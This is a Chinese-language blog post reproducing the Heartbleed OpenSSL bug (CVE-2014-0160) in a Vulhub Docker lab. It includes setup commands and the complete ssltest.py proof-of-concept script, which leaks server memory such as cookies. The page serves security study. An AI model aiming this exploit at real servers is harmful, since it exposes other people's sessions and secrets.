利用Vulnhub复现漏洞 - 心脏出血漏洞(CVE-2014-0160)

2023-11-14

Vulnhub官方复现教程

https://github.com/vulhub/vulhub/blob/master/openssl/heartbleed/README.zh-cn.md

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/openssl/heartbleed

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:9分钟
环境启动后,访问https://filippo.io/Heartbleed进行在线检测:
在这里插入图片描述
(需要公网IP,自己内网的就不用测了)

漏洞复现

Python2运行ssltest.py

python ssltest.py your-ip -p 443 

拿到敏感数据(Cookie):
在这里插入图片描述
有数据时是这样:
在这里插入图片描述

ssltest.py

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

利用Vulnhub复现漏洞 - 心脏出血漏洞(CVE-2014-0160) 的相关文章

  • Sqlmap使用-盲注小实验

    目录 sqlmap简介 基本格式 sqlmap详细命令 Options 选项 Target 目标 Request 请求 Enumeration 枚举 Optimization 优化 Injection 注入 Detection 检测 Tec
  • 利用Vulnhub复现漏洞 - Discuz!X ≤3.4 任意文件删除漏洞

    Discuz X 3 4 任意文件删除漏洞 Vulnhub官方复现教程 漏洞原理 复现漏洞 启动环境 漏洞复现 Formhash Cookie 发送数据包 原文 Vulnhub官方复现教程 https vulhub org environm
  • Kioptrix Level 2-writeup

    Kioptrix Level 2 writeup 0x00 信息收集 目标机器 16 16 16 178 kali攻击机 16 16 16 177 使用nmap来个端口服务扫描 浏览器打开http 16 16 16 178看看 第一眼看上去
  • VulnHub-Sick0s1.2

    目录 简介 信息收集 漏洞发现 漏洞利用 权限提升 总结 简介 该靶机是Sick0s系列的第二个靶机 总体来说不难 提权那里需要花点时间 毕竟linpeas脚本没有将计划任务标红 总之我个人尝试了很久内核提权 浪费了大量时间 而且不知道是w
  • vulnhub靶机Brainpan

    主机发现 arp scan l 端口扫描 nmap min rate 10000 p 192 168 21 156 服务扫描 nmap sV sT O p9999 10000 192 168 21 156 这个地方感到了有点不对劲 pyth
  • 利用Vulnhub复现漏洞 - Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    Apache Log4j Server 反序列化命令执行漏洞 CVE 2017 5645 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 payload 检测 Vulnhub官方复现教程 https vulhub org
  • win7下metasploit-framework安装及使用笔记

    1 去官网下载最新版本的metasploit framework 2 下载好后 退出电脑的杀毒软件 因为安装的时候里面好多文件会被当做病毒删除 3 点击安装 下一步下一步依次即可 4 安装完成后启动 这个启动的地方我找了好久 具体启动的地方
  • 渗透初识之DVWA靶场搭建及使用(详细图文)

    目录 环境搭建 一 下载DVWA 二 安装DVWA 三 DVWA 使用 环境搭建 我将环境搭在win7 漏洞环境建议还是在虚拟机上搭建 一 下载DVWA 下载地址 Buy Steroids Online UK Anabolic Steroi
  • 渗透测试 面试笔试题

    Powered By 行云博客 https www xy586 top 原创文章 转载请附上原文出处链接和本声明 原文链接 https blog csdn net qq 41679358 article details 109019491
  • 利用Vulnhub复现漏洞 - Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)

    Adobe ColdFusion 反序列化漏洞 CVE 2017 3066 Vulnhub官方复现教程 漏洞原理 复现漏洞 启动环境 漏洞复现 生成POC 发送POC 发送POC内容 检验POC 进入容器 通过DockerID进入容器 查看
  • 无痕渗透“INSERT INTO”型SQL注入

    原文链接 http www mathyvanhoef com 2011 10 exploiting insert into sql injections html 在某个寂静的深夜 你徘徊在一个网站中 其中包含一个可提交form 需要你输入
  • kali linux配置网络代理

    一 命令行终端 1 进入 etc profile d目录 新建文件proxy sh 内容如下 kali kali etc profile d cat proxy sh export proxy http 192 168 150 1 7890
  • Deathnote

    Deathnote 1 主机发现 arp scan l 2 扫描端口 nmap Pn sV P A 192 168 80 132 开放了80 22端口 3 访问80端口 修改host文件访问80端口时进行了跳转到deathnote vuln
  • 利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)

    Imagetragick 命令执行漏洞 CVE 2016 3714 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 端口设置 浏览器设置 BurpSuit设置 上传POC 反弹shell POC Vulnhub官方复现教
  • vulnhub靶机Looz

    下载地址 Looz 1 VulnHub 主机发现 arp scan l 端口扫描 nmap min rate 10000 p 192 168 21 155 扫描端口信息 nmap sV sT O p22 80 139 3306 8081 1
  • sqli-less-26-less26a

    less 26 单引号 GET型 这关就有点过滤的意思了 过滤了上一关的东西 并且把空格和 23给过滤了 如果是ubuntu的话 可以用 0a等绕过 方便一些 但我的是windows 所以就只能用 了 让后使用 来代替and 用 1来闭合
  • 【Vulnhub】之symfonos1

    一 部署方法 在官网上下载靶机ova环境 https download vulnhub com symfonos symfonos1 7z 使用VMware搭建靶机环境 攻击机使用VMware上搭建的kali 靶机和攻击机之间使用NAT模式
  • XSS 跨站脚本

    XSS 跨站脚本 一 什么是XSS XSS Cross site Scripting 中文名跨站脚本攻击 其原理是攻击者利用浏览器执行前端代码 HTML CSS JavaScript 的特性 将恶意的JavaScript代码插入到页面中 当
  • 第二章 常用安全工具

    目录 1 Kali系统工具分类 2 Kali Top10工具 1 Kali系统工具分类 信息收集 Information Gathering 主要目的是收集渗透测试目标的基本信息 包括操作系统信息 网络配置信息 应用服务信息等 脆弱性分析
  • 【精选】ATK&CK红队评估实战靶场三(超详细思路过程)

    博主介绍 博主介绍 大家好 我是 hacker routing 很高兴认识大家 主攻领域 渗透领域 应急响应 ATK CK红队评估实战靶场 VulnHub靶场复现 面试分析 点赞 评论 收藏 养成习惯 一键三连 欢迎关注 一起学习 一起讨论

随机推荐

  • 学习Python爬虫的基础知识和入门教程

    学习Python爬虫需要掌握以下基础知识 1 Python语言基础 学习Python爬虫前需要先学习Python基础语法 数据类型 控制结构等基本概念 2 网络协议 爬虫需要通过网络获取数据 因此需要掌握HTTP协议 TCP IP协议等相关
  • TCP/IP网络模型中数据封装和解封装过程

    当我们在网络上传输数据时 本机会从高层到底层将数据包进行几次封装 解包过程则是相反的顺序 如下图所示 封装 首先在应用层 浏览器会将请求数据封装为HTTP协议数据包 在原本数据包中加入HTTP头 传输层 tcp协议将前一个封装的数据包再次封
  • Fastjson1.0漏洞复现

    服务器kali linux 攻击机win10 搭建好环境之后 测试漏洞 证明存在漏洞 生成payload type com sun org apache xalan internal xsltc trax TemplatesImpl byt
  • 管理node的版本

    使用 nvm 管理node版本 nvm类似 python virtualenv 使用起来更加方便 安装nvm 参见 https www jianshu com p 622ad36ee020 使用cnpm 代替 npm 安装cnpm sudo
  • mysql数据库

    mysql数据库 添加 更新 删除表 删除单条 去重查询 运算符 模糊查询 集合 逻辑 sql gt between 值1 and 值2 is NUll 排序查询 聚合函数 ifNull 列名 默认值 如果列名为空 返回默认值 分组grou
  • chown: /usr/local: Operation not permitted问题解决

    在MAC上安装homebrew事先博客进行安装 根据步骤进行下去 同样在brew update的时候出现报错 Error usr local must be writable 错误 在该文章中也给出解决办法 sudo chown R who
  • 查看python中模块的所有方法

    查看python中模块的所有方法 安装的python模块 现将查看方法总结如下 一 CMD命令行下使用pydoc命令 在命令行下运行 pydoc modules即可查看 二 在python交互解释器中使用help 查看 在交互式解释器中输入
  • 双向带头循环链表的实现

    1 学习第一步 当我们要学习和了解一个事物时 我们要做的第一步便是对这个事物有一个体的的了解 现在我们要学习双向带头循环链表的第一步也是这个 我们现在先来了解一下这种链表的结构 就像该图所呈现的那样 双向循环链表就是长这样 但是你可千万不要
  • c++中拷贝构造函数被调用的时机

    1 c 中拷贝构造函数被调用的时机 拷贝构造函数被调用的几种情况 1 当用类的一个对象去初始化该类的另一个对象时 系统会自动调用拷贝构造函数 2 将一个对象作为实参传递给一个非引用类型的形参 系统会自动调用拷贝构造函数 3 从一个返回类为非
  • qt linux 包含目录,qt – 找不到子目录的.pro文件 – 当subdir包含相对路径时

    我有一个带有子模板的顶级 pro文件 TEMPLATE subdirs SUBDIRS common tests common tests包含 pro文件 但是qmake找不到它 Could not find pro file for su
  • Padavan固件添加adbyby去广告功能

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 在路由 自定义脚本 wan上下行启动后执行 添加下面脚本 bin sh sleep 30 Adbyby去广告脚本 Adbyby 1 0关闭 1启动 以下脚本请勿更改 if
  • python web后台框架面试题

    web后台框架 1 Django Flask Tornado的对比 答案 Django走的是大而全的方向 开发效率高 它的MTV框架 自带的ORM admin后台管理 自带的sqlite数据库和开发测试用的服务器 给开发者提高了超高的开发效
  • mybatits的一些常用问题

    1 mybatits的in字段查询的时候出现从小到大默认排序的情况 实现根据in字段里面的id进行排序
  • 用python收取邮件的一个实例

    背景 有一个工作邮箱 会接收许多人不断地投递的简历 由于邮件数量比较多 因此产生了一个需求 要求自动将邮件从邮件服务器取回到本地 并将邮件的基本信息存入本地的sqlite数据库 邮件的正文以单独文件的形式存放在文件夹下 实现 备注 在pyt
  • CICFlowMeter使用注意事项

    当我们安装好CICFlowMeter 导入pcap文件 点OK后发现什么也没办法输出 我们去从官网下载jnetpcap文件替换掉了原来文件即可 https sourceforge net projects jnetpcap files jn
  • idea如何创建XML文件

    1 找到File目录下的Settings打开 2 找到Editor并打开 3 找到Editor下的File and Code Templates并打开 4 先选中Files再点击 号 5 Name的值改为XML File Extension
  • 《Apache MINA 2.0 用户指南》第八章:字节缓存

    最近准备将Apache MINA 2 0 用户指南英文文档翻译给大家 但是我偶然一次百度 发现 Defonds 这位大牛已经翻译大部分文档 原文链接 http mina apache org mina project userguide c
  • Vue基础精讲 —— Vue的数据绑定和Vue的原生指令

    import Vue from vue new Vue el root template div div 数据绑定 div div 数据绑定 div div text div div 表达式不会被解析 div div
  • Everthing搜索神器,工作利器

    许多人的电脑都保存着大量的 照片 文档 电子书等文件 Everthing这款工具可以在闪电般的瞬间从你那不知名的硬盘中找到你需要的文件 Everything在第一次运行时 会建立索引数据库 千万不要错过 在这里插入图片描述 1 体积不到2M
  • 利用Vulnhub复现漏洞 - 心脏出血漏洞(CVE-2014-0160)

    心脏出血漏洞 CVE 2014 0160 Vulnhub官方复现教程 复现过程 启动环境 漏洞复现 ssltest py Vulnhub官方复现教程 https github com vulhub vulhub blob master op